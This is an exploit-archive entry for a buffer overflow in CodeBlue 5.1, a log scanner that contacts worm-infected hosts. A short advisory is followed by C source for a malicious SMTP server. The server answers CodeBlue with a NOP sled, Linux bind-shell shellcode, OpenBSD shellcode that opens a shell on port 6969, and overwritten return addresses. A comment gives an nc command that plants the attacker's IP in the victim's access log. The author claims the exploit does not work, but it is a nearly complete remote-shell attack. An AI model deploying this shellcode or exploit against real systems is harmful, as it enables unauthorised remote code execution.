CodeBlue 5.1 - SMTP Response Buffer Overflow

// source: https://www.securityfocus.com/bid/5300/info

CodeBlue is an Apache httpd log scanning utility that attempts to contact the administrators of hosts infected with worms.

A buffer overflow vulnerability has been reported in CodeBlue. The condition occurs when processing responses from SMTP servers. It may be possible for malicious SMTP servers to execute shellcode on hosts running CodeBlue.

/*
 * hi, this is an exploit that doesnt work. it should be enough of a point in
 * the right direction though. the overflow is in get_smtp_reply(), codeblue.c
 * is pretty damn poor, there are more!!!
 *
 *
 * To use this against a webserver (A) using codeblue.
 *
 * $ printf "GET /scripts/root.exe\r\n\r\n" | nc A 80
 *
 * this will add an entry in the access log.
 *
 * ON THE SAME HOST:
 *
 * # ./mystic_anus 25
 *
 * wait a while.
 *
 * when codeblue runs it will pull your ip from the logs, connect to your port
 * 25 and try to send you a mail. because mystic is an idiot, you will get a
 * shell with the openbsd code!!!
 *
 * i like exclamation marks !!!!
 *
 * krad haxxor props: dedmunk (happy now#@!!#@) ph1ll1p, caddis, buo, solace,
 * everyone on #cw , everyone in paris (you have a lovely city, i had a lovely
 * time last weekend, thankyou!!!) dedmunk, everyone at netcraft (esp Mike,
 * hi!), everyone in sydney, dedmunk, everyone i go drinking with, anyone who
 * lives in london, marlinspike (yo!), the woman who sells me my cigarettes in
 * the morning on the way into work, thomas greene, dedmunk, adam, durab, sh00ter.
 *
 * propz to dme#!@#!@
 *
 * dont forget:
 *
 * $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01 root Exp root $
 *
 ******************************************************************************************
 *                      -[ G O D  B L E S S  A M E R I C A ]-                             *
 ******************************************************************************************
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>


#define OF 2048 /* this is bigger than needed */

/* Optimized the code, now it works better in bad situations */
/* i dont know who wrote this, sorry, if you wrote it, let me know */

char lunix_shellcode[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


/*
 shell on port 6969/tcp shellcode for OpenBSD by noir
*/

long bsd_shellcode[]=
{
  0x4151c931,0x51514151,0x61b0c031,0x078980cd,
  0x4f88c931,0x0547c604,0x084f8902,0x0647c766,
  0x106a391b,0x5004478d,0x5050078b,0x68b0c031,
  0x016a80cd,0x5050078b,0x6ab0c031,0xc93180cd,
  0x078b5151,0xc0315050,0x80cd1eb0,0xc9310789,
  0x50078b51,0xb0c03150,0x4180cd5a,0x7503f983,
  0x5b23ebef,0xc9311f89,0x89074b88,0x8d51044f,
  0x078b5007,0xc0315050,0x80cd3bb0,0x5151c931,
  0x01b0c031,0xd8e880cd,0x2fffffff,0x2f6e6962,
  0x90416873
};

int main(int argc, char *argv[])
{
	struct 	sockaddr_in sock_in;
	struct 	sockaddr_in sock_out;
	char 	*port = "25";
	int 	fd, a;
	int 	len;
	int		opt;
	char bigbuf[OF];
	char *p;
	long lunix_resp = 0xbfffe0ac;
	long bsd_resp = 0xdfbfc068;
	char *moo = "220 ";

	long resp = lunix_resp;
	char *shellcode = lunix_shellcode;

	printf("strlen scode = %d\n", strlen(shellcode));
	if (argc == 2)
		port = argv[1];

	if (argc > 2) {
		fprintf(stderr, "usege: %s [port]\n", argv[0]);
		exit(1);
	}

	resp += 8;

	p = bigbuf;
	memcpy(p, moo, 4);
	p += 4;
	memset(p, '\x90', 1020 - strlen(shellcode));
	p += 1020 - strlen(shellcode);
	memcpy(p, shellcode, strlen(shellcode));
	p += strlen(shellcode);
	memcpy(p, &resp, 4);
	p += 4;
	memcpy(p, &resp, 4);
	p += 4;
	memset(p, '\n', 4);

	if ((fd = socket(PF_INET, SOCK_STREAM, 0)) < 0){
		perror("socket");
		exit(1);
	}

	memset(&sock_in, 0, sizeof(sock_in));
	sock_in.sin_family = AF_INET;
	sock_in.sin_port = htons(atoi(port));
	sock_in.sin_addr.s_addr = INADDR_ANY;
	len = sizeof(sock_in);

	opt = 1;
	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) == -1) {
			perror("setsockopt");
			exit(1);
	}

	if (bind(fd, (struct sockaddr *)&sock_in, len) < 0) {
		perror("bind");
		exit(1);
	}

	if (listen(fd, 5) < 0) {
		perror("listen");
		exit(1);
	}

	printf("listening on port %d\n", atoi(port));

	for (;;) {
		len = sizeof(sock_out);
		if ((a = accept(fd, (struct sockaddr *)&sock_out, &len)) < 0){
			perror("accept");
			exit(1);
		}
		printf("got a connection from %s\n", inet_ntoa(sock_out.sin_addr));
		fflush(stdout);

		write(a, bigbuf, sizeof(bigbuf));
		close(a);
	}

	return(1);

}